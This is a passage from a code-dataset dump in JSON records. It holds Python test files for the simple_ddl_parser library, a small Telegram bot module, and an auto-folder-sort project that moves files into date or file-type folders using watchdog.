\"primary_key\": [],\n \"alter\": {},\n \"checks\": [],\n \"index\": [],\n \"partitioned_by\": [],\n \"tablespace\": None,\n \"schema\": None,\n \"table_name\": \"t1\",\n }\n ],\n \"types\": [],\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_on_update_with_fcall():\n ddl = \"\"\"create table test(\n `id` bigint not null,\n `updated_at` timestamp(3) not null default current_timestamp(3) on update current_timestamp(3),\n primary key (id));\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expcted = {\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"`id`\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"bigint\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": \"current_timestamp(3)\",\n \"name\": \"`updated_at`\",\n \"nullable\": False,\n \"on_update\": \"current_timestamp(3)\",\n \"references\": None,\n \"size\": 3,\n \"type\": \"timestamp\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [\"id\"],\n \"schema\": None,\n \"table_name\": \"test\",\n \"tablespace\": None,\n }\n ],\n \"ddl_properties\": [],\n \"types\": [],\n }\n assert expcted == result\n", "id": "3140730", "language": "Python", "matching_score": 2.928325891494751, "max_stars_count": 46, "path": "tests/test_mysql.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_clone_db():\n\n ddl = \"\"\"\n create database mytestdb_clone clone mytestdb;\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"databases\": [\n {\"clone\": {\"from\": \"mytestdb\"}, \"database_name\": \"mytestdb_clone\"}\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert result == expected\n\n\ndef test_clone_table():\n expected = {\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [],\n \"index\": [],\n \"like\": {\"schema\": None, \"table_name\": \"orders\"},\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"orders_clone\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n\n ddl = \"\"\"\n create table orders_clone clone orders;\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n assert expected == result\n\n\ndef test_clone_schema():\n expected = {\n \"domains\": [],\n \"schemas\": [\n {\"clone\": {\"from\": \"testschema\"}, \"schema_name\": \"mytestschema_clone\"}\n ],\n \"sequences\": [],\n \"tables\": [],\n \"types\": [],\n \"ddl_properties\": [],\n }\n\n ddl = \"\"\"\n create schema mytestschema_clone clone testschema;\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n assert expected == result\n\n\ndef test_cluster_by():\n\n ddl = \"\"\"\n create table mytable (date timestamp_ntz, id number, content variant) cluster by (date, id);\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"cluster_by\": [\"date\", \"id\"],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"date\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"timestamp_ntz\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"number\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"content\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"variant\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"mytable\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_enforced():\n\n ddl = \"\"\"\n create table table2 (\n col1 integer not null,\n col2 integer not null,\n constraint pkey_1 primary key (col1, col2) not enforced\n );\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"domains\": [],\n \"ddl_properties\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"col1\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"col2\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"integer\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"primary_key_enforced\": False,\n \"schema\": None,\n \"table_name\": \"table2\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n", "id": "6773624", "language": "Python", "matching_score": 3.191028594970703, "max_stars_count": 46, "path": "tests/test_snowflake.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_parse_properties_in_create_db():\n\n ddl = \"\"\"\n create database mytestdb2 data_retention_time_in_days = 10 ENCRYPTED = True some_other_property = 'value';\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"databases\": [\n {\n \"database_name\": \"mytestdb2\",\n \"properties\": {\n \"ENCRYPTED\": \"True\",\n \"data_retention_time_in_days\": \"10\",\n \"some_other_property\": \"'value'\",\n },\n }\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_create_database_database():\n expected = {\n \"databases\": [{\"database_name\": \"database\"}],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [{\"schema_name\": \"SCHEMA\"}],\n \"sequences\": [],\n \"tables\": [],\n \"types\": [],\n }\n\n ddl = \"\"\"\n\n CREATE DATABASE database;\n CREATE SCHEMA SCHEMA;\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"hql\")\n assert expected == result\n", "id": "10335739", "language": "Python", "matching_score": 2.419344186782837, "max_stars_count": 46, "path": "tests/test_create_database.py" } ]
2.021481
haivle
[ { "content": "import logging\nimport sched\nimport time\n\n(\n MENU,\n EDIT_COIN_LIST,\n EDIT_USER_CONFIG,\n DELETE_DB,\n UPDATE_TG,\n UPDATE_BTB,\n PANIC_BUTTON,\n CUSTOM_SCRIPT,\n) = range(8)\n\nBOUGHT, BUYING, SOLD, SELLING = range(4)\n\nlogging.basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.INFO\n)\nlogger = logging.getLogger(\"btb_manager_telegram_logger\")\n\nscheduler = sched.scheduler(time.time, time.sleep)\n", "id": "2999", "language": "Python", "matching_score": 0, "max_stars_count": 3, "path": "btb_manager_telegram/__init__.py" } ]
0
Rolv-Apneseth
[ { "content": "import unittest\nimport logging\nimport os\nfrom pathlib import Path\n\nfrom sorter import Sorter, file_handler\nfrom tests import helpers\nfrom tests import constants_for_tests as constants\n\n# LOG\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nlogger.addHandler(file_handler)\n\n\n# UNIT TESTS\nclass TestSorter(unittest.TestCase):\n @classmethod\n def tearDownClass(cls):\n helpers.destroy_sample_files_folders()\n logger.debug(\"Sample files deleted successfully.\")\n\n def setUp(self):\n helpers.generate_sample_files_folders()\n logger.debug(\"Sample files (re)generated successfully.\")\n\n self.sorter1 = Sorter(constants.SAMPLE_FILES_FOLDERS[0], \"date\", 2018)\n self.sorter2 = Sorter(constants.SAMPLE_FILES_FOLDERS[1], \"file_type\")\n\n def test_init(self):\n self.assertEqual(self.sorter1.folder, constants.SAMPLE_FILES_FOLDERS[0])\n self.assertEqual(self.sorter2.sort_type, \"file_type\")\n self.assertEqual(self.sorter1.earliest_year, 2018)\n self.assertEqual(self.sorter2.earliest_year, constants.TODAY.year)\n\n def test_assert_valid(self):\n self.assertTrue(self.sorter1.assert_valid())\n self.assertTrue(self.sorter2.assert_valid())\n\n # Sort type\n sorter_temp = Sorter(constants.SAMPLE_FILES_FOLDERS[0], \"string\", 2018)\n self.assertFalse(sorter_temp.assert_valid())\n\n # Earliest year\n sorter_temp = Sorter(constants.SAMPLE_FILES_FOLDERS[0], \"date\", 1900)\n self.assertFalse(sorter_temp.assert_valid())\n sorter_temp.earliest_year = 3000\n self.assertFalse(sorter_temp.assert_valid())\n sorter_temp.earliest_year = \"2018\"\n self.assertFalse(sorter_temp.assert_valid())\n\n # Folder\n sorter_temp = Sorter(\"./\", \"date\")\n self.assertFalse(sorter_temp.assert_valid())\n sorter_temp.folder = \"folder\"\n self.assertFalse(sorter_temp.assert_valid())\n sorter_temp.folder = Path(__file__)\n self.assertFalse(sorter_temp.assert_valid())\n\n def test_update_dir_files(self):\n self.sorter1.update_dir_files()\n self.sorter2.update_dir_files()\n self.assertTrue(self.sorter1.dir_files == self.sorter2.dir_files)\n\n self.sorter1.folder = self.sorter1.folder.parent\n self.sorter1.update_dir_files()\n self.assertNotEqual(self.sorter1.dir_files, self.sorter2.dir_files)\n\n self.sorter2.folder = self.sorter2.folder.parent\n self.sorter2.update_dir_files()\n self.assertEqual(self.sorter1.dir_files, self.sorter2.dir_files)\n\n def test_update_years(self):\n self.sorter1.update_years()\n self.assertTrue(self.sorter1.years)\n self.assertEqual(type(self.sorter1.years), list)\n self.assertEqual(\n self.sorter1.years,\n list(map(str, list(range(2018, constants.TODAY.year + 1)))),\n )\n\n self.sorter2.update_years()\n self.assertEqual(len(self.sorter2.years), 1)\n self.assertEqual(type(self.sorter2.years[0]), str)\n self.assertEqual(self.sorter2.years[0], str(constants.TODAY.year))\n\n def test_ensure_file_folders(self):\n self.sorter2.ensure_file_folders()\n self.sorter2.update_dir_files()\n\n for folder in constants.SORT_BY_FILE_FOLDERS:\n self.assertIn(folder, self.sorter2.dir_files)\n\n def test_ensure_date_folders(self):\n EARLIEST_YEAR = 2001\n self.sorter1.earliest_year = EARLIEST_YEAR\n self.assertTrue(self.sorter1.assert_valid())\n\n self.sorter1.ensure_date_folders()\n self.sorter1.update_dir_files()\n\n temp_years = list(map(str, range(EARLIEST_YEAR, constants.TODAY.year + 1)))\n logger.debug(f\"Range of years to make folders for: {temp_years}\")\n\n for year in temp_years:\n self.assertIn(year, self.sorter1.dir_files)\n\n year_dir = os.listdir(self.sorter1.folder / year)\n for month in constants.MONTH_FOLDER_NAMES.values():\n self.assertIn(month, year_dir)\n\n def test_sort_date(self):\n self.sorter1.sort_date()\n self.assertTrue(\n helpers.is_sorted_successfully_date(\n self.sorter1.folder, self.sorter1.earliest_year\n )\n )\n logger.debug(\"First wave of files sorted.\")\n\n # Create a new files and sort again\n helpers.generate_sample_files_at(self.sorter1.folder)\n logger.debug(\"Second wave of files generated.\")\n\n self.sorter1.sort_date()\n self.assertTrue(\n helpers.is_sorted_successfully_date(\n self.sorter1.folder, self.sorter1.earliest_year\n )\n )\n\n def test_sort_file(self):\n self.sorter2.sort_file()\n self.assertTrue(helpers.is_sorted_successfully_file_type(self.sorter2.folder))\n logger.debug(\"First wave of files sorted.\")\n\n # Create a new files and sort again\n helpers.generate_sample_files_at(self.sorter2.folder)\n logger.debug(\"Second wave of files generated.\")\n\n self.sorter2.sort_file()\n self.assertTrue(helpers.is_sorted_successfully_file_type(self.sorter2.folder))\n logger.debug(\"Second wave of files sorted.\")\n\n def test_sort(self):\n # DATE\n self.sorter1.sort()\n self.assertTrue(\n helpers.is_sorted_successfully_date(\n self.sorter1.folder, self.sorter1.earliest_year\n )\n )\n logger.debug(\"Sorter 1 successfully sorted by date.\")\n\n # FILE TYPE\n self.sorter2.sort()\n self.assertTrue(helpers.is_sorted_successfully_file_type(self.sorter2.folder))\n logger.debug(\"Sorter 2 successfully sorted by file type.\")\n\n logger.info(\"Both sorters sorted successfully by their respective sort types.\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "11503009", "language": "Python", "matching_score": 3.6987364292144775, "max_stars_count": 1, "path": "auto-folder-sort/tests/sorter_test.py" }, { "content": "import logging\nimport os\nimport shutil\nimport time\nfrom pathlib import PosixPath\nfrom datetime import datetime\n\nfrom sorter import constants\n\n# Log\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.WARNING)\n\nformatter = logging.Formatter(\n \"\\n%(levelname)s\\nTime: %(asctime)s\\nFile: %(filename)s:\\n%(message)s\"\n)\n\nfile_handler = logging.FileHandler(constants.LOG_SORTER_PATH)\nfile_handler.setFormatter(formatter)\n\nlogger.addHandler(file_handler)\n\n\nclass Sorter:\n \"\"\"Generates sorter objects which can sort all files in a given folder.\"\"\"\n\n def __init__(\n self,\n folder: PosixPath,\n sort_type: str,\n earliest_year: int = datetime.today().year,\n ) -> None:\n \"\"\"\n folder: Path object for folder that Sorter object will be sorting (must be an\n absolute path).\n\n sort_type: Either 'date' or 'file_type'\n\n earliest_year: Earliest year to create folders for if 'date'\n was given for sort_type\n \"\"\"\n\n self.folder = folder\n self.sort_type = sort_type\n self.earliest_year = earliest_year\n\n # Used in self.sort() to call the correct functions\n # based on sort type\n self.s_dict: dict = {\n \"file_type\": self.sort_file,\n \"date\": self.sort_date,\n }\n\n logger.info(\n f\"Created Sorter object for: {self.folder}\"\n f\"\\nSorting by: {self.sort_type}\"\n )\n logger.debug(\n \"Other attributes:\" f\"\\nearliest year: {self.earliest_year}\",\n )\n\n def assert_valid(self) -> bool:\n \"\"\"Returns whether the provided constructor arguments are valid.\"\"\"\n\n self.today = datetime.today()\n self.year = self.today.year\n\n self.is_valid_folder = (\n type(self.folder) == PosixPath\n and self.folder.is_dir()\n and self.folder.is_absolute()\n )\n\n self.is_valid_sort = self.sort_type in [\"date\", \"file_type\"]\n\n self.is_valid_earliest = (\n type(self.earliest_year) == int and 1920 <= self.earliest_year <= self.year\n )\n\n return self.is_valid_folder and self.is_valid_sort and self.is_valid_earliest\n\n def update_dir_files(self) -> None:\n \"\"\"Updates the list of files/folders present in self.folder.\"\"\"\n\n self.dir_files: list = os.listdir(self.folder)\n\n def update_years(self) -> None:\n \"\"\"Update the list of years that folders are to be generated for.\n\n If the list does not currently exist, then it creates it.\n \"\"\"\n\n self.years: list = list(\n map(str, list(range(self.earliest_year, datetime.today().year + 1)))\n )\n\n def ensure_file_folders(self) -> None:\n \"\"\"Ensures sorting folders for file types are present in self.folder.\"\"\"\n\n self.update_dir_files()\n\n for file_type in constants.FILE_FOLDERS:\n if file_type not in self.dir_files:\n (self.folder / file_type).mkdir()\n\n def ensure_date_folders(self) -> None:\n \"\"\"Ensures sorting folders for dates are present in self.folder.\n\n Folders will be structured in the layout: year -> month1, month2...\n\n A year folder will be generated for each year between\n self.earliest_year and the current year, inclusive.\n \"\"\"\n\n self.update_dir_files()\n self.update_years()\n\n for year in self.years:\n if year not in self.dir_files:\n year_folder_path = self.folder / year\n year_folder_path.mkdir()\n\n for month in constants.MONTHS:\n month_folder_path = (\n year_folder_path / f\"{constants.MONTHS[month]} {month}\"\n )\n month_folder_path.mkdir()\n\n def sort_file(self):\n \"\"\"Sorts self.folder by file type.\"\"\"\n\n self.ensure_file_folders()\n self.update_dir_files()\n\n for item in self.dir_files:\n # Don't sort the generated sort folders\n if item in constants.FILE_FOLDERS:\n continue\n\n old_path = self.folder / item\n\n if old_path.is_dir():\n new_path = (self.folder / \"Folders & Archives\") / item\n\n else:\n extension = os.path.splitext(item)[-1][1:]\n\n for file_type in constants.FILE_FOLDERS:\n if extension in constants.FILE_FOLDERS[file_type]:\n new_path = (self.folder / file_type) / item\n break\n else:\n new_path = (self.folder / \"Other\") / item\n\n logger.info(f\"Moving {old_path} to {new_path}\")\n\n shutil.move(old_path, new_path)\n\n def sort_date(self):\n \"\"\"Sorts self.folder by date of last modification.\"\"\"\n\n self.ensure_date_folders()\n self.update_dir_files()\n\n for item in self.dir_files:\n # Don't sort the generated sort folders\n if item in self.years:\n continue\n\n old_path = self.folder / item\n\n # Time since modification to file/folder in seconds are\n # converted to local time when file was modified\n mod_seconds = os.path.getmtime(old_path)\n mod_local_time = time.ctime(mod_seconds).split()\n\n mod_month = mod_local_time[1]\n mod_year = mod_local_time[-1]\n\n if int(mod_year) < self.earliest_year:\n logger.warning(\n f\"\\n{item} was last modified {mod_local_time}\"\n \"\\nThis is earlier than the earliest given year of \"\n f\"{self.earliest_year}, so the file was skipped while sorting.\"\n )\n continue\n\n new_path = os.path.join(\n str(self.folder),\n mod_year,\n f\"{constants.MONTHS[mod_month]} {mod_month}\",\n item,\n )\n\n logger.info(f\"Moving {old_path} to {new_path}\")\n\n shutil.move(old_path, new_path)\n\n def sort(self):\n \"\"\"Calls appropriate sort function (file or date) based on self.sort_type\"\"\"\n\n try:\n if self.assert_valid():\n # Executes respective ensure function then\n # respective sort function\n self.s_dict[self.sort_type]()\n else:\n raise IOError\n except IOError:\n print(\n f\"\\nThere was an error while sorting files by {self.sort_type}:\"\n \"\\nPlease check the log file for further information\"\n )\n\n logger.exception(\n f\"Error while sorting by {self.sort_type}\"\n f\"Sorter is valid: {self.assert_valid()}\"\n f\"\\nCheck the following attributes of sorter object {self}\"\n f\"\\nFolder valid: {self.is_valid_folder}\"\n f\"\\nSort type valid: {self.is_valid_sort}\"\n f\"\\nEarliest year valid: {self.is_valid_earliest}\"\n \"\\nAlso make sure that the current folder is not being changed by\"\n f\"\\nanother program. Current folder: {self.folder}\"\n )\n\n logger.debug(\n f\"Other sorter object {self} attributes:\"\n f\"\\nearliest_year = {self.earliest_year}\"\n f\"\\ntoday = {self.today}\"\n )\n\n return False\n return True\n", "id": "8744000", "language": "Python", "matching_score": 1.2322680950164795, "max_stars_count": 1, "path": "auto-folder-sort/sorter/sorter.py" }, { "content": "import logging\nimport time\nfrom pathlib import Path, PosixPath\nfrom datetime import datetime\n\nfrom watchdog.events import FileSystemEventHandler\nfrom watchdog.observers import Observer\n\nfrom sorter import Sorter, COMMANDS_PATH, LOG_MAIN_PATH\n\n# LOG\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.WARNING)\n\nformatter = logging.Formatter(\"\\n%(levelname)s\\nTime: %(asctime)s\\n%(message)s\")\nfile_handler = logging.FileHandler(LOG_MAIN_PATH)\nfile_handler.setFormatter(formatter)\n\nlogger.addHandler(file_handler)\n\n\n# EVENT HANDLER CLASS\nclass CustomEventHandler(FileSystemEventHandler):\n def __init__(self, sorter):\n self.sorter = sorter\n\n # Run sorter for the first time, in case folder has not\n # been sorted before. Returns True if sort was successful\n self.was_sorted = self.sorter.sort()\n\n if not self.was_sorted:\n logger.warning(\n f\"\\nSorter for {self.sorter.folder} was not able to sort successfully.\"\n f\"\\nSorter valid: {self.sorter.assert_valid()}\"\n )\n\n raise IOError\n\n def on_modified(self, event):\n logger.info(f\"Folder {event.src_path} modified\")\n\n self.was_sorted = self.sorter.sort()\n\n if not self.was_sorted:\n logger.warning(\n f\"\\nSorter for {self.sorter.folder} was not able to sort successfully.\"\n f\"\\nSorter valid: {self.sorter.assert_valid()}\"\n )\n\n\n# MAIN CLASS\nclass Main:\n def __init__(self, commands_file_path: PosixPath = COMMANDS_PATH):\n self.observers = {}\n self.commands_file_path = commands_file_path\n\n # Get commands from text file (also validates commands)\n self.read_commands_from_file()\n\n # HELPER METHODS\n def _validate_commands(self):\n \"\"\"Validates commands read from given text file.\"\"\"\n\n for command in self.commands:\n if not 1 < len(command) < 4:\n logger.error(\n f\"\\nA provided command in {self.commands_file_path} has less than 2 or more than 3\"\n f\" parameters.\\nFull command/line in file: {command}\"\n )\n elif command[1] not in (\"date\", \"file_type\"):\n logger.error(\n f\"\\nA provided command in {self.commands_file_path} has given an\"\n f\"\\ninvalid sort type. Sort type given: {command[1]}\"\n f\"\\nFull command/line in file: {command}\"\n )\n elif \"\" in command:\n logger.error(\n f\"A provided command in {self.commands_file_path} was empty.\\n\"\n f\"Full command/line in file: {command}\"\n )\n else:\n continue\n\n raise ValueError(\n f\"Please fix the commands given at {self.commands_file_path}\"\n )\n\n def read_commands_from_file(self):\n \"\"\"Reads commands from a given text file, and validates them.\"\"\"\n\n with open(self.commands_file_path, \"r\") as txt:\n # Splits each line at '|' and strips each item of trailing whitespace\n self.commands = [\n list(map(str.strip, line.split(\"|\"))) for line in txt.readlines()\n ]\n for i, _ in enumerate(self.commands):\n self.commands[i][0] = Path(self.commands[i][0])\n\n self._validate_commands()\n\n def make_observer(self, folder: PosixPath, sort_type, earliest_year):\n \"\"\"\n Generates an observer object, as well as the sorter and event handler for it.\n \"\"\"\n\n sorter = Sorter(folder, sort_type, earliest_year)\n\n event_handler = CustomEventHandler(sorter)\n\n observer = Observer()\n observer.schedule(event_handler, folder, recursive=True)\n\n return observer\n\n def add_observer(\n self, folder: PosixPath, sort_type, earliest_year=datetime.today().year\n ):\n \"\"\"Adds an observer object for a specific folder to self.observers.\"\"\"\n\n if folder not in self.observers:\n new_observer = self.make_observer(folder, sort_type, earliest_year)\n self.observers[folder] = new_observer\n\n logger.info(\n f\"\\nObserver created for {folder} and added to self.observers.\"\n f\"\\nCurrent state of self.observers: {self.observers}\"\n )\n else:\n logger.warning(\n \"\\nObserver could not be created as there is already an observer\"\n f\"\\nmonitoring the folder: {folder}\"\n )\n\n def setup_observers(self):\n \"\"\"Creates self.observers by instantiating observer objects\n based on self.commands.\"\"\"\n\n for command in self.commands:\n if len(command) == 2:\n self.add_observer(command[0], command[1])\n elif len(command) == 3:\n self.add_observer(command[0], command[1], int(command[2]))\n\n def stop_observers(self):\n \"\"\"Stops all observers in self.observers from running. Used before program\n shuts down\"\"\"\n\n for observer in self.observers.values():\n observer.stop()\n observer.join()\n\n # MAIN\n def run(self):\n \"\"\"Main method, keeps observers in self.observers running.\"\"\"\n\n self.setup_observers()\n\n for observer in self.observers.values():\n observer.start()\n\n try:\n while True:\n time.sleep(10)\n\n except KeyboardInterrupt:\n self.stop_observers()\n\n logger.debug(\"Keyboard interrupt detected. Observers have been stopped.\")\n\n except IOError:\n self.stop_observers()\n\n logger.exception(\"IOError detected. Observers have been stopped.\")\n\n\nif __name__ == \"__main__\":\n program = Main()\n program.run()\n", "id": "6301264", "language": "Python", "matching_score": 2.8377819061279297, "max_stars_count": 1, "path": "auto-folder-sort/main.py" }, { "content": "import logging\nimport unittest\nfrom time import sleep\nfrom watchdog.observers.inotify import InotifyObserver as Observer\n\nimport main\nfrom sorter import Sorter, COMMANDS_PATH\nfrom tests import constants_for_tests as constants\nfrom tests import helpers\n\n# LOG\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nlogger.addHandler(main.file_handler)\n\n\nclass TestMain(unittest.TestCase):\n @classmethod\n def tearDownClass(cls):\n helpers.destroy_sample_files_folders()\n helpers.destroy_sample_commands_file()\n\n def setUp(self):\n helpers.generate_sample_files_folders()\n helpers.generate_sample_commands_file()\n\n self.test_program = main.Main(constants.SAMPLE_COMMANDS_FILE)\n self.sorter1 = Sorter(constants.SAMPLE_FILES_FOLDERS[0], \"date\", 2018)\n self.sorter2 = Sorter(constants.SAMPLE_FILES_FOLDERS[1], \"file_type\")\n\n def test_custom_event_handler_init(self):\n main.CustomEventHandler(self.sorter1)\n main.CustomEventHandler(self.sorter2)\n\n self.assertTrue(\n helpers.is_sorted_successfully_date(\n self.sorter1.folder, self.sorter1.earliest_year\n )\n )\n self.assertTrue(helpers.is_sorted_successfully_file_type(self.sorter2.folder))\n\n def test_main_init(self):\n test_main = main.Main(COMMANDS_PATH)\n self.assertEqual(test_main.observers, self.test_program.observers, {})\n self.assertEqual(test_main.commands_file_path, COMMANDS_PATH)\n self.assertEqual(\n self.test_program.commands_file_path, constants.SAMPLE_COMMANDS_FILE\n )\n\n def test_read_commands_from_file(self):\n self.assertTrue(self.test_program.commands)\n self.assertEqual(len(self.test_program.commands), 2)\n self.assertEqual(len(self.test_program.commands[0]), 2)\n self.assertEqual(len(self.test_program.commands[1]), 3)\n self.assertEqual(self.test_program.commands[0][1], \"file_type\")\n\n # Too short\n helpers.generate_sample_commands_file(\"path/to/folder\")\n self.assertRaises(ValueError, self.test_program.read_commands_from_file)\n # Empty command\n helpers.generate_sample_commands_file(\"path/to/folder |\")\n self.assertRaises(ValueError, self.test_program.read_commands_from_file)\n # Too long\n helpers.generate_sample_commands_file(\n \"path/to/folder | path/to/folder | path/to/folder | file_type\"\n )\n self.assertRaises(ValueError, self.test_program.read_commands_from_file)\n # Multiple lines but each is too short\n helpers.generate_sample_commands_file(\"path/to/folder\\ndate\\n2018\")\n self.assertRaises(ValueError, self.test_program.read_commands_from_file)\n\n def test_make_observer(self):\n test_observer = self.test_program.make_observer(\n constants.SAMPLE_FILES_FOLDERS[0], \"date\", 2018\n )\n self.assertTrue(\n helpers.is_sorted_successfully_date(constants.SAMPLE_FILES_FOLDERS[0], 2018)\n )\n self.assertIsInstance(test_observer, Observer)\n\n def test_add_observer(self):\n self.test_program.add_observer(constants.SAMPLE_FILES_FOLDERS[0], \"date\", 2018)\n self.assertTrue(\n helpers.is_sorted_successfully_date(constants.SAMPLE_FILES_FOLDERS[0], 2018)\n )\n\n self.test_program.add_observer(constants.SAMPLE_FILES_FOLDERS[1], \"file_type\")\n self.assertTrue(\n helpers.is_sorted_successfully_file_type(constants.SAMPLE_FILES_FOLDERS[1])\n )\n\n self.assertEqual(len(self.test_program.observers), 2)\n self.assertIsInstance(\n self.test_program.observers[constants.SAMPLE_FILES_FOLDERS[0]], Observer\n )\n self.assertIsInstance(\n self.test_program.observers[constants.SAMPLE_FILES_FOLDERS[1]], Observer\n )\n\n # Only one observer per path\n for _ in range(100):\n self.test_program.add_observer(\n constants.SAMPLE_FILES_FOLDERS[0], \"date\", 2018\n )\n self.assertEqual(len(self.test_program.observers), 2)\n\n def test_setup_observers(self):\n self.test_program.setup_observers()\n\n self.assertTrue(\n helpers.is_sorted_successfully_file_type(constants.SAMPLE_FILES_FOLDERS[0])\n )\n self.assertTrue(\n helpers.is_sorted_successfully_date(constants.SAMPLE_FILES_FOLDERS[1], 2018)\n )\n\n self.assertEqual(len(self.test_program.observers), 2)\n for observer in self.test_program.observers.values():\n self.assertIsInstance(observer, Observer)\n\n def test_observer_objects_by_adding_new_files(self):\n # Start observers\n self.test_program.setup_observers()\n for observer in self.test_program.observers.values():\n observer.start()\n\n # Add new files to each sample files folder to be sorted\n for folder_path in constants.SAMPLE_FILES_FOLDERS:\n helpers.generate_sample_files_at(folder_path)\n\n # Stop the observers after giving them some time to detect changes\n sleep(0.1)\n self.test_program.stop_observers()\n\n self.assertTrue(\n helpers.is_sorted_successfully_file_type(constants.SAMPLE_FILES_FOLDERS[0])\n )\n self.assertTrue(\n helpers.is_sorted_successfully_date(constants.SAMPLE_FILES_FOLDERS[1], 2018)\n )\n\n\nif __name__ == \"__main__\":\n from tests.sorter_test import TestSorter\n\n unittest.main()\n", "id": "303833", "language": "Python", "matching_score": 3.1428983211517334, "max_stars_count": 1, "path": "auto-folder-sort/tests/main_test.py" }, { "content": "from shutil import rmtree\nfrom pathlib import Path, PosixPath\nfrom datetime import datetime\n\nfrom tests import constants_for_tests as constants\n\n\ndef _destroy_sample_folder(folder_path: PosixPath) -> None:\n \"\"\"Destroys sample files folder if it exists.\"\"\"\n\n if folder_path.is_dir():\n rmtree(folder_path)\n\n\ndef _construct_sample_folder(folder_path: PosixPath) -> None:\n \"\"\"Constructs a sample files folder.\"\"\"\n\n folder_path.mkdir()\n generate_sample_files_at(folder_path)\n\n\ndef generate_sample_files_at(folder_path: PosixPath):\n \"\"\"Generaetes sample files at a given folder path.\"\"\"\n\n for sample_file in constants.SAMPLE_FILES:\n sample_file_path = folder_path / sample_file\n with open(sample_file_path, \"w\") as f:\n f.write(\"\")\n\n # Make empty folder to go with the sample files\n (folder_path / \"sample_folder\").mkdir()\n\n\ndef generate_sample_files_folders() -> None:\n \"\"\"\n Generates sample files folders for use with testing.\n\n If the sample files folders are already present, they are deleted and rebuilt.\n \"\"\"\n\n for sample_folder_path in constants.SAMPLE_FILES_FOLDERS:\n _destroy_sample_folder(sample_folder_path)\n _construct_sample_folder(sample_folder_path)\n\n\ndef destroy_sample_files_folders() -> None:\n \"\"\"Destroys sample files folders.\"\"\"\n\n for sample_folder_path in constants.SAMPLE_FILES_FOLDERS:\n _destroy_sample_folder(sample_folder_path)\n\n\ndef is_sorted_successfully_file_type(folder_path: PosixPath) -> bool:\n \"\"\"Returns True if the given folder was sorted successfully by file type.\"\"\"\n\n is_sorted_successfully = True\n\n for sorted_folder_path in folder_path.iterdir():\n if sorted_folder_path.name not in constants.SORT_BY_FILE_FOLDERS:\n is_sorted_successfully = False\n break\n\n for sorted_file_path in sorted_folder_path.iterdir():\n if (\n sorted_file_path.name\n not in constants.SORT_BY_FILE_FOLDERS[sorted_folder_path.name]\n ):\n is_sorted_successfully = False\n break\n\n return is_sorted_successfully\n\n\ndef is_sorted_successfully_date(folder_path: PosixPath, earliest_year: int) -> bool:\n \"\"\"Returns True if the given folder was sorted successfully by date.\"\"\"\n\n is_sorted_successfully = True\n\n YEAR_FOLDERS = [str(i) for i in range(earliest_year, constants.TODAY.year + 1)]\n\n for sorted_year_folder_path in folder_path.iterdir():\n if sorted_year_folder_path.name not in YEAR_FOLDERS:\n is_sorted_successfully = False\n break\n\n if sorted_year_folder_path.name == str(constants.TODAY.year):\n 